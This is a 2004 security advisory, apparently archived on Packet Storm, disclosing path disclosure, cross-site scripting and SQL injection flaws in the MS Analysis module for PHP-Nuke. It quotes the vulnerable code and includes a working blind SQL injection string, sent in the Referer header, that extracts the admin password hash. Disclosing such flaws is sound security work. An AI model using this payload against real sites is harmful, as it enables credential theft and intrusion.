what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

waraxe-2004-SA011.txt

waraxe-2004-SA011.txt
Posted Mar 23, 2004
Authored by Janek Vind aka waraxe

MS Analysis module version 2.0 for PHP-Nuke has full path disclosure, cross site scripting, and SQL injection vulnerabilities.

tags | advisory, php, vulnerability, xss, sql injection
SHA-256 | c0010912fa273ff4a30d55b15d18fc5fd19b2b54ca1007ad349039d5a371a812

waraxe-2004-SA011.txt

Change Mirror Download




{================================================================================}
{ [waraxe-2004-SA#011] }
{================================================================================}
{ }
{ [ Multiple vulnerabilities in MS Analysis v2.0 module for PhpNuke ] }
{ }
{================================================================================}

Author: Janek Vind "waraxe"
Date: 22. March 2004
Location: Estonia, Tartu



Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From copyright.php:

MS Analysis module for PHP-Nuke

Module's Name: MS Analysis
Module's Version: v2.0 - No Options
Module's Description: This script analyses all incoming 'traffic' and stores all
properties of a member/visitor. It is in fact an extended
version of PHP-Nuke Statistics.
License: GNU/GPL
Author's Name: Maty Scripts
Author's user_email: webmaster@matyscripts.com
Homepage: http://www.matyscripts.com/


Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. Full path disclosure



All the files in "scripts" directory, for example:

http://localhost/nuke70/modules/MS_Analysis/scripts/browsers.php

and we get standard error message, revealing full path:

Fatal error: Call to undefined function: is_admin() in D:\apache_wwwroot\nuke70\modules\MS_Analysis\scripts\browsers.php on line 3

Other php files are directly callable too, for example:

http://localhost/nuke70/modules/MS_Analysis/mstrack.php
http://localhost/nuke70/modules/MS_Analysis/title.php

and we can see the full path in standard php error messages.




2. Cross-Site Scripting aka XSS



There are many possible XSS bugs, including:

http://localhost/nuke70/modules.php?name=MS_Analysis&file=index&op=MSAnalysisGeneral&screen=>[xss code here]&overview=1&sortby=

http://localhost/nuke70/modules/MS_Analysis/title.php?module_name=>[xss code here]

http://localhost/nuke70/modules.php?name=MS_Analysis&file=index&op=MSAnalysisGeneral&screen=3&overview=1&sortby=>[xss code here]

http://localhost/nuke70/modules.php?name=MS_Analysis&file=index&op=MSAnalysisGeneral&screen=13&overview=>[xss code here]&sortby=




3. sql injection in search words analyzing code


-----------------------------------------------------------------------------
Let's look at original code, function MSAGetSearchWords() from class.dynamicadd.php:

...

function MSAGetSearchWords( $sestring, $onlyhost, $search_store )
{
global $MSSearchEngines;
$searchwords = "";
foreach( $MSSearchEngines as $key=>$value ) {
if( eregi( $key, $onlyhost ) ) {
$asestring = explode( "&", $sestring );
for( $j = 0; $j < sizeof( $asestring ); $j++ )
{
$asestring[ $j ] = ereg_replace ('amp;', '', trim( $asestring[ $j ] ) );
$fquery = explode( "=" , $asestring[ $j ] );
if( $fquery[ 0 ] == $value ) {
$searchwords = trim(strtolower(urldecode( $fquery[ 1 ] ) ) );
$searchwords = str_replace( "\"", "", $searchwords );
if( $search_store ) $searchwords = str_replace( "+", " ", $searchwords );
break;
}
} // END sizeof( $asestring )
} // END eregi
}
return( $searchwords );
} // END Function

}

...



So, this code uses the php function "urldecode()":

$searchwords = trim(strtolower(urldecode( $fquery[ 1 ] ) ) );


Hmm, what if we deliver here "%27"? In such way we can get single quote and bypass the "magic quotes".
Let's look, how "$searchwords" will be processed further:

...

if( $this->IsSearchEngine( $MSAreferral ) == 1 ) {
$searchwords = $this->MSAGetSearchWords( $MSArefstr, $MSAreferral, $search_store );
if( $searchwords != "" ) {
if( $search_store ) {
$searchwords = explode( " ", $searchwords );
for( $i = 0; $i < sizeof( $searchwords ); $i++ )
{
$sw = trim( $searchwords[ $i ] );
if( $sw != "" ) {
$result = $db->sql_query( "select words from $prefix"._msanalysis_search." where words = '$sw'" );
if( $db->sql_numrows( $result ) == 0 ) { $db->sql_query( "insert into $prefix"._msanalysis_search." ( words, hits, today, hitstoday, xdays, hitsxdays ) values ( '$sw', '1', '$MSAslogdate', '1', '$xdate', '1' )" ); }
else { $db->sql_query( "update $prefix"._msanalysis_search." set hits=hits+1, today='$MSAslogdate', hitstoday=hitstoday+1, hitsxdays=hitsxdays+1 where words = '$sw'" ); }
$db->sql_freeresult( $result );
}
}
}
else {

...


Yeah, i can't see "addslashes()" anywhere! So sql injection is possible!!

How to exploit this security flaw in practice? First, we must use the "refferer" field in http
request, so using of the perl script is needed (of course, php or any other language can be used too).
Second, as we don't have any visual feedback here, we must use "blind method" through UNION keyword.
Example of that method can be found in "[waraxe-2004-SA#003] - SQL injection in Php-Nuke 7.1.0".
And here is the typical "referer" field from attacker's http request:

"http://www.google.com/search?q=Maty+Scripts%27UNION SELECT pwd from nuke_authors where name%3d%27God%27 AND IF(mid(pwd,1,1)%3d3,benchmark(150000,md5(1337)),1)/*"

Anyone with some knowledge of the php, sql and perl can write exploit script with ease, so i don't
give the full source code of the exploit here ;)




Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Greets to torufoorum staff and to all IT security related people in Estonia! Tervitused!
Special greets to ulljobu!


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

---------------------------------- [ EOF ] ------------------------------------
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close